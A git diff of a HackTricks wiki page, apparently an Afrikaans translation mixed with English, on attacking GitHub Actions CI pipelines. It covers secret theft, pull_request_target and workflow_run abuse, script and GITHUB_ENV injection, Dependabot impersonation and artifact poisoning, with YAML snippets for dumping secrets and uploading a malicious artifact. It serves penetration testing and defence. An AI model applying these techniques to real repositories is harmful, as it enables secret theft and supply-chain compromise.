mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-15 17:11:45 -08:00
Translated ['', 'src/pentesting-cloud/pentesting-cloud-methodology.md',
This commit is contained in:
@@ -4,53 +4,53 @@
|
||||
|
||||
## Gereedskap
|
||||
|
||||
Die volgende gereedskap is nuttig om Github Action workflows te vind en selfs kwesbare eenhede te identifiseer:
|
||||
Die volgende gereedskap is nuttig om Github Action workflows te vind en selfs kwesbare eenhede op te spoor:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Kyk ook na die checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Op hierdie bladsy vind jy:
|
||||
Op hierdie blad sal jy vind:
|
||||
|
||||
- 'n **opsomming van alle impakte** van 'n attacker wat daarin slaag om toegang tot 'n Github Action te kry
|
||||
- Verskillende maniere om **toegang tot 'n action te kry**:
|
||||
- 'n **opsomming van al die gevolge** wat 'n aanvaller kan hê indien hy toegang tot 'n Github Action kry
|
||||
- Verskillende maniere om **toegang tot 'n action** te kry:
|
||||
- Om **permissions** te hê om die action te skep
|
||||
- Misbruik van **pull request**-verwante triggers
|
||||
- Misbruik van **pull request** verwante triggers
|
||||
- Misbruik van **ander eksterne toegang** tegnieke
|
||||
- **Pivoting** vanaf 'n reeds gekompromitteerde repo
|
||||
- Laastens, 'n afdeling oor **post-exploitation techniques to abuse an action from inside** (om die genoemde impakte te veroorsaak)
|
||||
- **Pivoting** vanuit 'n reeds gekompromitteerde repo
|
||||
- Laastens, 'n afdeling oor **post-exploitation techniques to abuse an action from inside** (om die genoemde gevolge te veroorsaak)
|
||||
|
||||
## Opsomming van Impakte
|
||||
## Opsomming van Gevolge
|
||||
|
||||
Vir 'n inleiding oor [**Github Actions, sien die basiese inligting**](../basic-github-information.md#github-actions).
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
|
||||
As jy kan **arbitrêre code in GitHub Actions uitvoer** binne 'n **repository**, kan jy moontlik:
|
||||
Indien jy kan **execute arbitrary code in GitHub Actions** binne 'n **repository**, mag jy in staat wees om:
|
||||
|
||||
- **Steel geheime** wat aan die pipeline gemonteer is en **misbruik die pipeline se bevoegdhede** om ongeoorloofde toegang tot eksterne platforms te kry, soos AWS en GCP.
|
||||
- **Kompromiseer deployments** en ander **artifacts**.
|
||||
- As die pipeline assets ontplooi of stoor, kan jy die finale produk verander en sodoende 'n supply chain attack moontlik maak.
|
||||
- **Voer code uit in custom workers** om rekenkrag te misbruik en na ander stelsels te pivot.
|
||||
- **Oorskryf repository-kode**, afhangend van die permissions wat geassosieer word met die `GITHUB_TOKEN`.
|
||||
- **Steal secrets** wat aan die pipeline gekoppel is en **abuse the pipeline's privileges** om ongemagtigde toegang tot eksterne platforms soos AWS en GCP te verkry.
|
||||
- **Compromise deployments** en ander **artifacts**.
|
||||
- As die pipeline assets ontplooi of stoor, kan jy die finale produk verander, wat 'n supply chain attack moontlik maak.
|
||||
- **Execute code in custom workers** om rekenkrag te misbruik en na ander stelsels te pivot.
|
||||
- **Overwrite repository code**, afhangende van die permissions geassosieer met die `GITHUB_TOKEN`.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
Hierdie "**secret**" (wat kom van `${{ secrets.GITHUB_TOKEN }}` en `${{ github.token }}`) word gegee wanneer die admin hierdie opsie aktiveer:
|
||||
Hierdie "**secret**" (afkomstig van `${{ secrets.GITHUB_TOKEN }}` en `${{ github.token }}`) word gegee wanneer die admin hierdie opsie aktiveer:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Hierdie token is dieselfde een wat 'n **Github Application** sal gebruik, sodat dit toegang tot dieselfde endpoints kan kry: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
Hierdie token is dieselfde een wat 'n **Github Application** sal gebruik, dus kan dit toegang hê tot dieselfde endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github behoort 'n [**flow**](https://github.com/github/roadmap/issues/74) vry te stel wat **allows cross-repository** toegang binne GitHub moontlik maak, sodat 'n repo ander interne repos kan bereik met die `GITHUB_TOKEN`.
|
||||
|
||||
Jy kan die moontlike **permissions** van hierdie token sien by: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Let wel dat die token **verval nadat die job voltooi is**.\
|
||||
Hierdie tokens lyk soos dit: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
Neem kennis dat die token **expires after the job has completed**.\
|
||||
Sulke tokens lyk soos: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Sommige interessante dinge wat jy met hierdie token kan doen:
|
||||
|
||||
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Let wel dat jy in verskeie gevalle **github user tokens binne Github Actions envs of in die secrets** sal kan vind. Hierdie tokens kan jou meer voorregte oor die repository en organization gee.
|
||||
> Let wel dat jy in verskeie gevalle **github user tokens inside Github Actions envs or in the secrets** kan vind. Hierdie tokens kan jou meer regte oor die repository en organisasie gee.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lys secrets in Github Action uitset</summary>
|
||||
<summary>Lys secrets in die Github Action-uitset</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
Dit is moontlik om die toestemmings wat aan 'n Github Token gegee is in ander gebruikers se repositories te kontroleer deur **die logs** van die actions na te gaan:
|
||||
Dit is moontlik om die permissies wat aan 'n Github Token in ander gebruikers repositories gegee is te kontroleer deur **die logs van die actions te kontroleer**:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## Toegestane Uitvoering
|
||||
## Toegestane uitvoering
|
||||
|
||||
> [!NOTE]
|
||||
> Dit sou die maklikste manier wees om Github actions te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **create a new repo in the organization**, of het **write privileges over a repository**.
|
||||
> Dit sou die maklikste manier wees om Github actions te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **create a new repo in the organization**, of dat jy **write privileges over a repository** het.
|
||||
>
|
||||
> If you are in this scenario you can just check the [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
|
||||
> As jy in hierdie scenario is, kan jy net die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) nagaan.
|
||||
|
||||
### Uitvoering vanaf Repo-skepping
|
||||
### Uitvoering vanaf repo-skepping
|
||||
|
||||
In geval lede van 'n organization nuwe repos kan **create new repos** en jy kan Github actions uitvoer, kan jy 'n nuwe repo skep en **create a new repo and steal the secrets set at organization level**.
|
||||
Indien lede van 'n organisasie die vermoë het om **create new repos** en jy Github Actions kan uitvoer, kan jy **create a new repo and steal the secrets set at organization level**.
|
||||
|
||||
### Uitvoering vanaf 'n Nuwe Branch
|
||||
### Uitvoering vanaf 'n nuwe branch
|
||||
|
||||
As jy kan **create a new branch in a repository that already contains a Github Action** configured, kan jy dit **modify**, die inhoud **upload**, en dan daardie action **execute that action from the new branch**. Op hierdie manier kan jy **exfiltrate repository and organization level secrets** (maar jy moet weet hoe hulle genoem word).
|
||||
Indien jy kan **create a new branch in a repository that already contains a Github Action** wat reeds gekonfigureer is, kan jy dit **modify**, die inhoud **upload**, en dan daardie action **execute that action from the new branch**. Op hierdie manier kan jy **exfiltrate repository and organization level secrets** (maar jy moet weet hoe hulle genoem word).
|
||||
|
||||
> [!WARNING]
|
||||
> Enige beperking wat slegs in die workflow YAML geïmplementeer is (byvoorbeeld, `on: push: branches: [main]`, job conditionals, or manual gates) kan deur medewerkers gewysig word. Sonder eksterne afdwinging (branch protections, protected environments, and protected tags), kan 'n bydraer 'n workflow herlei om op hul branch te hardloop en gemonteerde secrets/permissions misbruik.
|
||||
> Enige beperking wat slegs binne die workflow YAML geïmplementeer is (byvoorbeeld, `on: push: branches: [main]`, job conditionals, of manual gates) kan deur medewerkers gewysig word. Sonder eksterne afdwinging (branch protections, protected environments, and protected tags), kan 'n bydraer 'n workflow herlei om op hul branch te loop en gemonteerde secrets/permissions misbruik.
|
||||
|
||||
Jy kan die gewysigde action uitvoerbaar maak **manually**, wanneer 'n **PR** geskep word of wanneer sekere kode gepush word (afhangend van hoe luidrugtig jy wil wees):
|
||||
Jy kan die gemodifiseerde action uitvoerbaar maak **manually,** wanneer 'n **PR is created** of wanneer **some code is pushed** (afhangend van hoe luidrugtig jy wil wees):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
@@ -180,49 +180,49 @@ branches:
|
||||
```
|
||||
---
|
||||
|
||||
## Forked-uitvoering
|
||||
## Gevorkte Uitvoering
|
||||
|
||||
> [!NOTE]
|
||||
> Daar is verskillende triggers wat 'n aanvaller kan toelaat om 'n **execute a Github Action of another repository**. As daardie triggerbare actions swak gekonfigureer is, kan 'n aanvaller dit moontlik kompromitteer.
|
||||
> Daar is verskillende triggers wat 'n aanvaller kan toelaat om 'n Github Action van 'n ander repository uit te voer. As daardie triggerbare actions swak gekonfigureer is, kan 'n aanvaller dit kompromitteer.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
Die workflow-trigger **`pull_request`** sal die workflow uitvoer elke keer as 'n pull request ontvang word, met 'n paar uitsonderings: volgens verstek, as dit die **first time** is dat jy **collaborating**, sal 'n **maintainer** die **approve** van die **run** van die workflow moet doen:
|
||||
Die workflow-trigger **`pull_request`** sal die workflow elke keer uitvoer wanneer 'n pull request ontvang word, met 'n paar uitsonderings: standaard, as dit die **eerste keer** is dat jy **bydra**, sal 'n **maintainer** die **uitvoering** van die workflow moet **goedkeur**:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Omdat die **default limitation** vir **first-time** contributors is, kan jy bydra deur **fixing a valid bug/typo** en dan **ander PRs te stuur om jou nuwe `pull_request` privileges te abuse**.
|
||||
> Aangesien die **standaardbeperking** vir **eerstetydse** bydraers is, kan jy 'n bydrae lewer deur 'n geldige fout/tipografiese fout te **regmaak** en dan **ander PRs stuur om jou nuwe `pull_request`-privilegies te misbruik**.
|
||||
>
|
||||
> **Ek het dit getoets en dit werk nie**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
|
||||
> **Ek het dit getoets en dit werk nie**: ~~Nog 'n opsie sou wees om 'n rekening te skep met die naam van iemand wat by die projek bygedra het en sy rekening te verwyder.~~
|
||||
|
||||
Verder verhoed dit volgens verstek **write permissions** en **secrets access** tot die target repository soos vermeld in die [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
Boonop verhoed dit standaard **skryfpermissies** en **toegang tot secrets** tot die teiken repository soos in die [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) vermeld:
|
||||
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
> Met die uitsondering van `GITHUB_TOKEN`, **word secrets nie aan die runner oorgedra nie** wanneer 'n workflow vanaf 'n **forked** repository getrig word. Die **`GITHUB_TOKEN` het net lees-regte** in pull requests **van forked repositories**.
|
||||
|
||||
'n Aanvaller kan die definisie van die Github Action wysig om arbitraire dinge uit te voer en ekstra actions by te voeg. Hy sal egter nie in staat wees om secrets te steel of die repo oor te skryf nie weens die genoemde beperkings.
|
||||
'n Aanvaller kan die definisie van die Github Action wysig om arbitrêre dinge uit te voer en arbitrêre actions by te voeg. Hy sal egter weens die genoemde beperkings nie in staat wees om secrets te steel of die repo oor te skryf nie.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
|
||||
> **Ja, as die aanvaller die github action in die PR verander wat getrig sal word, sal sy Github Action gebruik word en nie dié van die oorspronklike repo nie!**
|
||||
|
||||
Aangesien die aanvaller ook die kode wat uitgevoer word beheer, selfs al is daar nie secrets of write permissions op die `GITHUB_TOKEN` nie, kan 'n aanvaller byvoorbeeld **upload malicious artifacts**.
|
||||
Aangesien die aanvaller ook die kode wat uitgevoer word beheer, kan hy byvoorbeeld selfs al is daar geen secrets of skryfpermissies op die `GITHUB_TOKEN` nie, **malafide artifacts oplaai**.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
Die workflow-trigger **`pull_request_target`** het **write permission** tot die target repository en **access to secrets** (en vra nie toestemming nie).
|
||||
Die workflow-trigger **`pull_request_target`** het **skryfpermissie** op die teiken repository en **toegang tot secrets** (en vra nie toestemming nie).
|
||||
|
||||
Neem kennis dat die workflow-trigger **`pull_request_target`** **runs in the base context** en nie in die een wat deur die PR gegee word nie (om **not execute untrusted code**). Vir meer inligting oor `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik, kyk na hierdie [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
Let daarop dat die workflow-trigger **`pull_request_target`** **in die base-konteks loop** en nie in daardie wat deur die PR gegee word nie (om **nie onbetroubare kode uit te voer** nie). Vir meer inligting oor `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik kyk na hierdie [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
Dit mag lyk omdat die **executed workflow** die een is wat in die **base** gedefinieer is en **nie in die PR** nie, dat dit **secure** is om **`pull_request_target`** te gebruik, maar daar is 'n **paar gevalle waar dit nie is nie**.
|
||||
Dit mag lyk asof dit veilig is om **`pull_request_target`** te gebruik omdat die **uitgevoerde workflow** dié is wat in die **base** gedefinieer is en nie in die PR nie, maar daar is 'n **paar gevalle waar dit nie so is nie**.
|
||||
|
||||
En hierdie een sal **access to secrets** hê.
|
||||
En hierdie een sal **toegang tot secrets** hê.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger laat toe om 'n workflow te laat loop vanaf 'n ander wanneer dit `completed`, `requested` of `in_progress` is.
|
||||
Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger maak dit moontlik om 'n workflow vanaf 'n ander een uit te voer wanneer dit `completed`, `requested` of `in_progress` is.
|
||||
|
||||
In hierdie voorbeeld is 'n workflow gekonfigureer om te loop nadat die aparte "Run Tests" workflow voltooi is:
|
||||
In hierdie voorbeeld is 'n workflow gekonfigureer om uit te voer nadat die aparte "Run Tests" workflow voltooi het:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -230,26 +230,26 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Boonop, volgens die docs: Die workflow wat deur die `workflow_run` event begin is, kan **secrets en write tokens toegang hê, selfs al het die vorige workflow dit nie gedoen nie**.
|
||||
Boonop, volgens die docs: Die workflow wat deur die `workflow_run` event begin is, kan **toegang tot secrets kry en write tokens skryf, selfs al het die vorige workflow dit nie gekry nie**.
|
||||
|
||||
Hierdie tipe workflow kan aangeval word as dit **afhang** van 'n **workflow** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** kan **getrigger**. 'n Paar kwesbare voorbeelde kan [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Die eerste een bestaan uit die deur **`workflow_run`** getriggerde workflow wat die aanvallers se kode aflaai: `${{ github.event.pull_request.head.sha }}`\
|
||||
Die tweede bestaan uit die **oorhandig** van 'n **artifact** van die **onbetroubare** kode aan die **`workflow_run`** workflow en die gebruik van die inhoud van hierdie artifact op 'n wyse wat dit **kwesbaar vir RCE** maak.
|
||||
Hierdie tipe workflow kan aangeval word as dit **afhanklik** is van 'n **workflow** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** **getrigger** kan word. 'n Paar kwesbare voorbeelde kan in [**dié blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability) gevind word. Die eerste behels die deur die **`workflow_run`** getriggerde workflow wat die aanvaller se kode aflaai: `${{ github.event.pull_request.head.sha }}`\
|
||||
Die tweede behels die deurgee van 'n **artifact** van die **untrusted** kode aan die **`workflow_run`** workflow en die gebruik van die inhoud van hierdie artifact op 'n wyse wat dit **vulnerable to RCE** maak.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
TODO: Kyk of wanneer dit vanaf `pull_request` uitgevoer word, die gebruikte/afgelaaide kode dié van die origin is of dié van die geforkte PR
|
||||
|
||||
## Misbruik van geforkte uitvoering
|
||||
## Abusing Forked Execution
|
||||
|
||||
Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n github workflow kan laat uitvoer; kom ons kyk nou hoe hierdie uitvoerings, as dit sleg gekonfigureer is, misbruik kan word:
|
||||
Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n GitHub workflow kan laat uitvoer; kom ons kyk nou hoe hierdie uitvoerings, as hulle sleg gekonfigureer is, misbruik kan word:
|
||||
|
||||
### Onbetroubare checkout-uitvoering
|
||||
### Untrusted checkout execution
|
||||
|
||||
In die geval van **`pull_request`,** gaan die workflow in die **konteks van die PR** uitgevoer word (dus sal dit die **kwaadwillige PR's code** uitvoer), maar iemand moet dit eers **magtig** en dit sal met sekere [beperkings](#pull_request) loop.
|
||||
In die geval van **`pull_request`**, gaan die workflow in die **context of the PR** uitgevoer word (dus sal dit die **malicious PRs code** uitvoer), maar iemand moet dit eers **authorize** en dit sal met 'n paar [limitations](#pull_request) hardloop.
|
||||
|
||||
In die geval van 'n workflow wat **`pull_request_target` of `workflow_run`** gebruik wat afhang van 'n workflow wat van **`pull_request_target` of `pull_request`** ge-trigger kan word, sal die kode van die oorspronklike repo uitgevoer word, so die **aanvaller kan nie die uitgevoerde kode beheer nie**.
|
||||
In die geval van 'n workflow wat **`pull_request_target` or `workflow_run`** gebruik en afhanklik is van 'n workflow wat vanaf **`pull_request_target` or `pull_request`** getrigger kan word, sal die kode van die oorspronklike repo uitgevoer word, so die **attacker cannot control the executed code**.
|
||||
|
||||
> [!CAUTION]
|
||||
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
|
||||
@@ -282,14 +282,14 @@ message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
Die moontlik **onbetroubare code word tydens `npm install` of `npm build` uitgevoer** aangesien die build-skripte en verwysde **packages deur die skrywer van die PR beheer word**.
|
||||
Die potensieel **onbetroubare kode word tydens `npm install` of `npm build` uitgevoer** aangesien die build-skrifte en verwysde **packages deur die outeur van die PR beheer word**.
|
||||
|
||||
> [!WARNING]
|
||||
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
|
||||
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Neem kennis dat daar sekere [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) is waarvan die waardes deur die **user** wat die PR skep **beheer** word. As die github action daardie **data gebruik om enigiets uit te voer**, kan dit lei tot **arbitrary code execution:**
|
||||
Neem kennis dat daar sekere [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) is waarvan die waardes deur die **user** wat die PR skep **beheer** word. As die github action daardie **data gebruik om enige iets uit te voer**, kan dit lei tot **arbitrary code execution:**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
@@ -297,17 +297,17 @@ gh-actions-context-script-injections.md
|
||||
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
Volgens die docs: Jy kan 'n **environment variable beskikbaar maak vir enige daaropvolgende stappe** in 'n workflow job deur die omgewingveranderlike te bepaal of by te werk en dit na die **`GITHUB_ENV`** environment file te skryf.
|
||||
Volgens die docs: Jy kan 'n **environment variable beskikbaar maak vir enige daaropvolgende stappe** in 'n workflow job deur die environment variable te definieer of by te werk en dit te skryf na die **`GITHUB_ENV`** environment file.
|
||||
|
||||
As 'n aanvaller enige waarde in hierdie **env**-veranderlike kon **injekeer**, kan hy omgewingveranderlikes inspuit wat kode in volgende stappe kan laat uitvoer soos **LD_PRELOAD** of **NODE_OPTIONS**.
|
||||
As 'n aanvaller enige waarde in hierdie **env** variable kan injekteer, kan hy env variables injekteer wat kode kan laat uitvoer in volgende stappe, soos **LD_PRELOAD** of **NODE_OPTIONS**.
|
||||
|
||||
Byvoorbeeld ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) en [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel jou 'n workflow voor wat 'n opgelaaide artifact vertrou om sy inhoud binne **`GITHUB_ENV`** env-variabele te stoor. 'n Aanvaller kan iets soos dit oplaai om dit te kompromitteer:
|
||||
Byvoorbeeld ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel 'n workflow wat 'n opgelaaide artifact vertrou om sy inhoud in die **`GITHUB_ENV`** env variable te stoor. 'n Aanvaller kan iets soos dit oplaai om dit te kompromitteer:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Dependabot en ander vertroude bots
|
||||
### Dependabot and other trusted bots
|
||||
|
||||
Soos aangedui in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), het verskeie organisasies 'n Github Action wat enige PRR van `dependabot[bot]` saamvoeg soos in:
|
||||
Soos aangedui in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), verskeie organisasies het 'n Github Action wat enige PRR van `dependabot[bot]` merge soos in:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
```
|
||||
Wat 'n probleem is omdat die `github.actor` veld die gebruiker bevat wat die jongste gebeurtenis wat die workflow geaktiveer het, veroorsaak het. En daar is verskeie maniere om die `dependabot[bot]` gebruiker 'n PR te laat wysig. Byvoorbeeld:
|
||||
Dit is 'n probleem omdat die `github.actor` veld die gebruiker bevat wat die jongste event wat die workflow getrigger het, veroorsaak het. En daar is verskeie maniere om die `dependabot[bot]` gebruiker 'n PR te laat wysig. Byvoorbeeld:
|
||||
|
||||
- Fork die slagoffer repository
|
||||
- Voeg die malicious payload by jou kopie
|
||||
- Enable Dependabot op jou fork deur 'n outdated dependency by te voeg. Dependabot sal 'n branch skep wat die dependency regstel met malicious code.
|
||||
- Open 'n Pull Request na die slagoffer repository vanaf daardie branch (die PR sal deur die gebruiker geskep word so niks sal nog gebeur nie)
|
||||
- Dan gaan die aanvaller terug na die aanvanklike PR wat Dependabot in sy fork geopen het en voer `@dependabot recreate` uit
|
||||
- Dan voer Dependabot sekere aksies in daardie branch uit, wat die PR op die slagoffer repo wysig, wat `dependabot[bot]` die actor maak van die jongste gebeurtenis wat die workflow geaktiveer het (en daarom loop die workflow).
|
||||
- Fork die victim repository
|
||||
- Add die malicious payload aan jou copy
|
||||
- Enable Dependabot op jou fork deur 'n outdated dependency by te voeg. Dependabot sal 'n branch skep wat die dependency met malicious code regstel.
|
||||
- Open 'n Pull Request na die victim repository vanaf daardie branch (die PR sal deur die user geskep word so niks sal nog gebeur nie)
|
||||
- Dan gaan die attacker terug na die initial PR wat Dependabot in sy fork oopgemaak het en voer `@dependabot recreate` uit
|
||||
- Dan voer Dependabot sekere aksies uit in daardie branch wat die PR oor die victim repo verander het, wat `dependabot[bot]` die actor maak van die jongste event wat die workflow getrigger het (en gevolglik loop die workflow).
|
||||
|
||||
Verder, wat as, in plaas van 'n merge, die Github Action 'n command injection gehad het soos in:
|
||||
Verder, wat as in plaas van merge die Github Action 'n command injection sou hê soos in:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
```
|
||||
Die oorspronklike blogpos stel wel twee opsies voor om hierdie gedrag te misbruik; die tweede is:
|
||||
Wel, die oorspronklike blogpos stel twee opsies voor om hierdie gedrag te misbruik; die tweede is:
|
||||
|
||||
- Fork die slagoffer se repository en aktiveer Dependabot met 'n verouderde dependency.
|
||||
- Skep 'n nuwe branch met die kwaadwillige shell injeciton code.
|
||||
- Verander die default branch van die repo na daardie een
|
||||
- Skep 'n PR vanaf hierdie branch na die slagoffer se repository.
|
||||
- Run `@dependabot merge` in die PR wat Dependabot in sy fork oopgemaak het.
|
||||
- Dependabot sal sy veranderinge in die default branch van jou geforkte repository merge, die PR in die slagoffer se repository opdateer, en nou sal `dependabot[bot]` die actor wees van die jongste event wat die workflow getrigger het en 'n kwaadwillige branch name gebruik.
|
||||
- Fork die slagoffer repository en skakel Dependabot in met some outdated dependency.
|
||||
- Skep 'n nuwe branch met die kwaadwillige shell injection code.
|
||||
- Verander die standaardbranch van die repo na daardie een
|
||||
- Skep 'n PR vanaf hierdie branch na die slagoffer repository.
|
||||
- Voer `@dependabot merge` uit in die PR wat Dependabot in his fork oopgemaak het.
|
||||
- Dependabot sal sy veranderinge in die standaardbranch van jou geforkte repository saamvoeg, die PR in die slagoffer repository opdateer, en nou die `dependabot[bot]` die actor maak van die latest event wat die workflow getrigger het en 'n kwaadwillige branch name gebruik.
|
||||
|
||||
### Kwetsbare derdeparty Github Actions
|
||||
### Vulnerable Third Party Github Actions
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
As vermeld in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), hierdie Github Action laat toe om artifacts van verskillende workflows en selfs repositories te bereik.
|
||||
Soos genoem in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), laat hierdie Github Action toe om toegang te verkry tot artifacts van verskillende workflows en selfs repositories.
|
||||
|
||||
Die probleem is dat as die **`path`** parameter nie gestel is nie, die artifact in die huidige gids uitgepak word en dit lêers kan oorskryf wat later gebruik of selfs in die workflow uitgevoer kan word. Daarom, as die Artifact kwesbaar is, kan 'n aanvaller dit misbruik om ander workflows wat die Artifact vertrou te kompromitteer.
|
||||
Die probleem is dat as die **`path`** parameter nie gestel is nie, die artifact in die huidige gids uitgepak word en dit lêers kan oor-skryf wat later gebruik of selfs in die workflow uitgevoer kan word. Daarom, as die Artifact kwesbaar is, kan 'n aanvaller dit misbruik om ander workflows wat die Artifact vertrou, te kompromiteer.
|
||||
|
||||
Example of vulnerable workflow:
|
||||
```yaml
|
||||
@@ -376,7 +376,7 @@ with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
Hierdie kan met hierdie workflow aangeval word:
|
||||
Dit kan aangeval word met hierdie workflow:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
@@ -395,12 +395,12 @@ path: ./script.py
|
||||
|
||||
## Ander Eksterne Toegang
|
||||
|
||||
### Deleted Namespace Repo Hijacking
|
||||
### Verwyderde Namespace Repo Kaping
|
||||
|
||||
If an account changes it's name another user could register an account with that name after some time. If a repository had **minder as 100 sterre voor die naamsverandering**, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
|
||||
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
|
||||
|
||||
